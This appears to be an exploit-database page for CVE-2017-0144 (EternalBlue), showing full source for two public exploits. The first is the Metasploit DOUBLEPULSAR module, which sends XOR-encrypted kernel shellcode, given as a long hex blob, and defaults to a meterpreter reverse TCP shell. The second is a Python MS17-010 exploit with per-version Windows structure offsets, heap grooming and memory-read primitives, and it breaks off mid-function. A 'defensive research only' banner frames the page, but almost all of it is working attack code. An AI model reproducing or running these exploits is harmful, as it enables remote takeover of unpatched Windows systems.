Materialized exploit
CVE-2017-0144
HIGH KEV6 public exploit(s) for this CVE, 5 materialized with their code.
For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB
remote windows Verified
Source
DOUBLEPULSAR - Payload Execution and Neutralization (Metasploit)
By Metasploit
How to test this exploit
Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.
ruby 47456.rbCode rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::SMB::Client
MAX_SHELLCODE_SIZE = 4096
def initialize(info = {})
super(update_info(info,
'Name' => 'DOUBLEPULSAR Payload Execution and Neutralization',
'Description' => %q{
This module executes a Metasploit payload against the Equation Group's
DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.
While this module primarily performs code execution against the implant,
the "Neutralize implant" target allows you to disable the implant.
},
'Author' => [
'Equation Group', # DOUBLEPULSAR implant
'Shadow Brokers', # Equation Group dump
'zerosum0x0', # DOPU analysis and detection
'Luke Jennings', # DOPU analysis and detection
'wvu', # Metasploit module and arch detection
'Jacob Robles' # Metasploit module and RCE help
],
'References' => [
['MSB', 'MS17-010'],
['CVE', '2017-0143'],
['CVE', '2017-0144'],
['CVE', '2017-0145'],
['CVE', '2017-0146'],
['CVE', '2017-0147'],
['CVE', '2017-0148'],
['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],
['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],
['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],
['URL', 'https://github.com/countercept/doublepulsar-detection-script'],
['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],
['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']
],
'DisclosureDate' => '2017-04-14',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Privileged' => true,
'Payload' => {
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
'DisableNops' => true
},
'Targets' => [
['Execute payload', {}],
['Neutralize implant', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
},
'Notes' => {
'AKA' => ['DOUBLEPULSAR'],
'RelatedModules' => [
'auxiliary/scanner/smb/smb_ms17_010',
'exploit/windows/smb/ms17_010_eternalblue'
],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION]
}
))
register_advanced_options([
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
])
end
OPCODES = {
ping: 0x23,
exec: 0xc8,
kill: 0x77
}
STATUS_CODES = {
not_detected: 0x00,
success: 0x10,
invalid_params: 0x20,
alloc_failure: 0x30
}
def calculate_doublepulsar_status(m1, m2)
STATUS_CODES.key(m2.to_i - m1.to_i)
end
# algorithm to calculate the XOR Key for DoublePulsar knocks
def calculate_doublepulsar_xor_key(s)
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x & 0xffffffff # this line was added just to truncate to 32 bits
end
# The arch is adjacent to the XOR key in the SMB signature
def calculate_doublepulsar_arch(s)
s == 0 ? ARCH_X86 : ARCH_X64
end
def generate_doublepulsar_timeout(op)
k = SecureRandom.random_bytes(4).unpack('V').first
0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00
end
def generate_doublepulsar_param(op, body)
case OPCODES.key(op)
when :ping, :kill
"\x00" * 12
when :exec
Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))
end
end
def check
ipc_share = "\\\\#{rhost}\\IPC$"
@tree_id = do_smb_setup_tree(ipc_share)
vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")
vprint_status("Target OS is #{smb_peer_os}")
vprint_status('Sending ping to DOUBLEPULSAR')
code, signature1, signature2 = do_smb_doublepulsar_pkt
msg = 'Host is likely INFECTED with DoublePulsar!'
case calculate_doublepulsar_status(@multiplex_id, code)
when :success
@xor_key = calculate_doublepulsar_xor_key(signature1)
@arch = calculate_doublepulsar_arch(signature2)
arch_str =
case @arch
when ARCH_X86
'x86 (32-bit)'
when ARCH_X64
'x64 (64-bit)'
end
vprint_good("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")
CheckCode::Vulnerable
when :not_detected
vprint_error('DOUBLEPULSAR not detected or disabled')
CheckCode::Safe
else
vprint_error('An unknown error occurred')
CheckCode::Unknown
end
end
def exploit
if datastore['DefangedMode']
warning = <<~EOF
Are you SURE you want to execute code against a nation-state implant?
You MAY contaminate forensic evidence if there is an investigation.
Disable the DefangedMode option if you have authorization to proceed.
EOF
fail_with(Failure::BadConfig, warning)
end
# No ForceExploit because @tree_id and @xor_key are required
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
end
case target.name
when 'Execute payload'
unless @xor_key
fail_with(Failure::NotFound, 'XOR key not found')
end
if @arch == ARCH_X86
fail_with(Failure::NoTarget, 'x86 is not a supported target')
end
print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
shellcode << Rex::Text.rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
vprint_status("Total shellcode length: #{shellcode.length} bytes")
print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")
xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)
print_status('Sending shellcode to DOUBLEPULSAR')
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)
when 'Neutralize implant'
return neutralize_implant
end
case calculate_doublepulsar_status(@multiplex_id, code)
when :success
print_good('Payload execution successful')
when :invalid_params
fail_with(Failure::BadConfig, 'Invalid parameters were specified')
when :alloc_failure
fail_with(Failure::PayloadFailed, 'An allocation failure occurred')
else
fail_with(Failure::Unknown, 'An unknown error occurred')
end
ensure
disconnect
end
def neutralize_implant
print_status('Neutralizing DOUBLEPULSAR')
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])
case calculate_doublepulsar_status(@multiplex_id, code)
when :success
print_good('Implant neutralization successful')
else
fail_with(Failure::Unknown, 'An unknown error occurred')
end
end
def do_smb_setup_tree(ipc_share)
connect
# logon as user \
simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])
# connect to IPC$
simple.connect(ipc_share)
# return tree
simple.shares[ipc_share]
end
def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
# make doublepulsar knock
pkt = make_smb_trans2_doublepulsar(opcode, body)
sock.put(pkt)
bytes = sock.get_once
return unless bytes
# convert packet to response struct
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
pkt.from_s(bytes[4..-1])
return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']
end
def make_smb_trans2_doublepulsar(opcode, body)
setup_count = 1
setup_data = [0x000e].pack('v')
param = generate_doublepulsar_param(opcode, body)
data = param + body.to_s
pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
simple.client.smb_defaults(pkt['Payload']['SMB'])
base_offset = pkt.to_s.length + (setup_count * 2) - 4
param_offset = base_offset
data_offset = param_offset + param.length
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0xc007
@multiplex_id = rand(0xffff)
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
pkt['Payload']['SMB'].v['TreeID'] = @tree_id
pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id
pkt['Payload'].v['ParamCountTotal'] = param.length
pkt['Payload'].v['DataCountTotal'] = body.to_s.length
pkt['Payload'].v['ParamCountMax'] = 1
pkt['Payload'].v['DataCountMax'] = 0
pkt['Payload'].v['ParamCount'] = param.length
pkt['Payload'].v['ParamOffset'] = param_offset
pkt['Payload'].v['DataCount'] = body.to_s.length
pkt['Payload'].v['DataOffset'] = data_offset
pkt['Payload'].v['SetupCount'] = setup_count
pkt['Payload'].v['SetupData'] = setup_data
pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)
pkt['Payload'].v['Payload'] = data
pkt.to_s
end
# ring3 = user mode encoded payload
# proc_name = process to inject APC into
def make_kernel_user_payload(ring3, proc_name)
sc = make_kernel_shellcode(proc_name)
sc << [ring3.length].pack("S<")
sc << ring3
sc
end
def generate_process_hash(process)
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
proc_hash = 0
process << "\x00"
process.each_byte do |c|
proc_hash = ror(proc_hash, 13)
proc_hash += c
end
[proc_hash].pack('l<')
end
def ror(dword, bits)
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
end
def make_kernel_shellcode(proc_name)
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
# Length: 780 bytes
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" +
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" +
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" +
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" +
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" +
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" +
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" +
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" +
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" +
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" +
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" +
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" +
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
generate_process_hash(proc_name.upcase) +
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" +
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" +
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" +
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" +
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" +
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" +
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" +
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" +
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" +
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" +
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" +
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" +
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" +
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" +
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" +
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" +
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" +
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" +
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" +
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" +
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" +
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" +
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" +
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" +
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" +
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" +
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" +
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" +
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" +
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" +
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" +
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" +
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" +
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" +
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" +
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
end
def kernel_shellcode_size
make_kernel_shellcode('').length
end
end
ExploitDB
remote windows Verified
Source
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)
By sleepya
How to test this exploit
Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.
python3 42315.pyCode py
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time
'''
MS17-010 exploit for Windows 2000 and later by sleepya
EDB Note: mysmb.py can be found here ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42315.py
Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''
USERNAME = ''
PASSWORD = ''
'''
A transaction with empty setup:
- it is allocated from paged pool (same as other transaction types) on Windows 7 and later
- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it
Note: method name is from NSA eternalromance
For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.
For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
of this method is we cannot do information leak to verify transactions alignment before OOB write.
So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.
'''
'''
Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
win7 x64
struct SrvSecContext {
DWORD xx1; // second WORD is size
DWORD refCnt;
PACCESS_TOKEN Token; // 0x08
DWORD xx2;
BOOLEAN CopyOnOpen; // 0x14
BOOLEAN EffectiveOnly;
WORD xx3;
DWORD ImpersonationLevel; // 0x18
DWORD xx4;
BOOLEAN UsePsImpersonateClient; // 0x20
}
win2012 x64
struct SrvSecContext {
DWORD xx1; // second WORD is size
DWORD refCnt;
QWORD xx2;
QWORD xx3;
PACCESS_TOKEN Token; // 0x18
DWORD xx4;
BOOLEAN CopyOnOpen; // 0x24
BOOLEAN EffectiveOnly;
WORD xx3;
DWORD ImpersonationLevel; // 0x28
DWORD xx4;
BOOLEAN UsePsImpersonateClient; // 0x30
}
SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL.
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
to do all SMB operations.
Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only
ImpersonateSecurityContext() is used in these Windows versions.
'''
###########################
# info for modify session security context
###########################
WIN7_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xa0,
'SESSION_ISNULL_OFFSET': 0xba,
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x28,
}
WIN7_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0x80,
'SESSION_ISNULL_OFFSET': 0x96,
'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x1c,
}
# win8+ info
WIN8_64_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0xb0,
'SESSION_ISNULL_OFFSET': 0xca,
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x38,
}
WIN8_32_SESSION_INFO = {
'SESSION_SECCTX_OFFSET': 0x88,
'SESSION_ISNULL_OFFSET': 0x9e,
'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
'SECCTX_SIZE': 0x24,
}
# win 2003 (xp 64 bit is win 2003)
WIN2K3_64_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0xba,
'SESSION_SECCTX_OFFSET': 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'SECCTX_PCTXTHANDLE_OFFSET': 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
WIN2K3_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x96,
'SESSION_SECCTX_OFFSET': 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
'SECCTX_PCTXTHANDLE_OFFSET': 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
# win xp
WINXP_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x94,
'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
}
WIN2K_32_SESSION_INFO = {
'SESSION_ISNULL_OFFSET': 0x94,
'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
'TOKEN_USER_GROUP_CNT_OFFSET': 0x3c,
'TOKEN_USER_GROUP_ADDR_OFFSET': 0x58,
}
###########################
# info for exploitation
###########################
# for windows 2008+
WIN7_32_TRANS_INFO = {
'TRANS_SIZE' : 0xa0, # struct size
'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x40,
'TRANS_OUTPARAM_OFFSET' : 0x44,
'TRANS_INDATA_OFFSET' : 0x48,
'TRANS_OUTDATA_OFFSET' : 0x4c,
'TRANS_PARAMCNT_OFFSET' : 0x58,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,
'TRANS_FUNCTION_OFFSET' : 0x72,
'TRANS_MID_OFFSET' : 0x80,
}
WIN7_64_TRANS_INFO = {
'TRANS_SIZE' : 0xf8, # struct size
'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x70,
'TRANS_OUTPARAM_OFFSET' : 0x78,
'TRANS_INDATA_OFFSET' : 0x80,
'TRANS_OUTDATA_OFFSET' : 0x88,
'TRANS_PARAMCNT_OFFSET' : 0x98,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,
'TRANS_FUNCTION_OFFSET' : 0xb2,
'TRANS_MID_OFFSET' : 0xc0,
}
WIN5_32_TRANS_INFO = {
'TRANS_SIZE' : 0x98, # struct size
'TRANS_FLINK_OFFSET' : 0x18,
'TRANS_INPARAM_OFFSET' : 0x3c,
'TRANS_OUTPARAM_OFFSET' : 0x40,
'TRANS_INDATA_OFFSET' : 0x44,
'TRANS_OUTDATA_OFFSET' : 0x48,
'TRANS_PARAMCNT_OFFSET' : 0x54,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
'TRANS_FUNCTION_OFFSET' : 0x6e,
'TRANS_PID_OFFSET' : 0x78,
'TRANS_MID_OFFSET' : 0x7c,
}
WIN5_64_TRANS_INFO = {
'TRANS_SIZE' : 0xe0, # struct size
'TRANS_FLINK_OFFSET' : 0x28,
'TRANS_INPARAM_OFFSET' : 0x68,
'TRANS_OUTPARAM_OFFSET' : 0x70,
'TRANS_INDATA_OFFSET' : 0x78,
'TRANS_OUTDATA_OFFSET' : 0x80,
'TRANS_PARAMCNT_OFFSET' : 0x90,
'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
'TRANS_FUNCTION_OFFSET' : 0xaa,
'TRANS_PID_OFFSET' : 0xb4,
'TRANS_MID_OFFSET' : 0xb8,
}
X86_INFO = {
'ARCH' : 'x86',
'PTR_SIZE' : 4,
'PTR_FMT' : 'I',
'FRAG_TAG_OFFSET' : 12,
'POOL_ALIGN' : 8,
'SRV_BUFHDR_SIZE' : 8,
}
X64_INFO = {
'ARCH' : 'x64',
'PTR_SIZE' : 8,
'PTR_FMT' : 'Q',
'FRAG_TAG_OFFSET' : 0x14,
'POOL_ALIGN' : 0x10,
'SRV_BUFHDR_SIZE' : 0x10,
}
def merge_dicts(*dict_args):
result = {}
for dictionary in dict_args:
result.update(dictionary)
return result
OS_ARCH_INFO = {
# for Windows Vista, 2008, 7 and 2008 R2
'WIN7': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
},
# for Windows 8 and later
'WIN8': {
'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
},
'WINXP': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
'WIN2K3': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
},
'WIN2K': {
'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO),
},
}
TRANS_NAME_LEN = 4
HEAP_HDR_SIZE = 8 # heap chunk header size
def calc_alloc_size(size, align_size):
return (size + align_size - 1) & ~(align_size-1)
def wait_for_request_processed(conn):
#time.sleep(0.05)
# send echo is faster than sleep(0.05) when connection is very good
conn.send_echo('a')
def find_named_pipe(conn):
pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
found_pipe = None
for pipe in pipes:
try:
fid = conn.nt_create_andx(tid, pipe)
conn.close(tid, fid)
found_pipe = pipe
except smb.SessionError as e:
pass
conn.disconnect_tree(tid)
return found_pipe
special_mid = 0
extra_last_mid = 0
def reset_extra_mid(conn):
global extra_last_mid, special_mid
special_mid = (conn.next_mid() & 0xff00) - 0x100
extra_last_mid = special_mid
def next_extra_mid():
global extra_last_mid
extra_last_mid += 1
return extra_last_mid
# Borrow 'groom' and 'bride' word from NSA tool
# GROOM_TRANS_SIZE includes transaction name, parameters and data
# Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid
GROOM_TRANS_SIZE = 0x5010
def leak_frag_size(conn, tid, fid):
# this method can be used on Windows Vista/2008 and later
# leak "Frag" pool size and determine target architecture
info = {}
# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
# From the leak info, we can determine the target architecture too.
mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2)
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
# Detect target architecture and calculate frag pool size
if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print('Target is 32 bit')
info['arch'] = 'x86'
info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
print('Target is 64 bit')
info['arch'] = 'x64'
info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
else:
print('Not found Frag pool tag in leak data')
sys.exit()
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
return info
def read_data(conn, info, read_addr, read_size):
fmt = info['PTR_FMT']
# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
# modify trans2.*ParameterCount and trans2.*DataCount to limit data
new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData
new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount
new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
# create one more transaction before leaking data
# - next transaction can be used for arbitrary read/write after the current trans2 is done
# - next transaction address is from TransactionListEntry.Flink value
conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
# finish the trans2 to leak
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
# set new trans2 address
info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
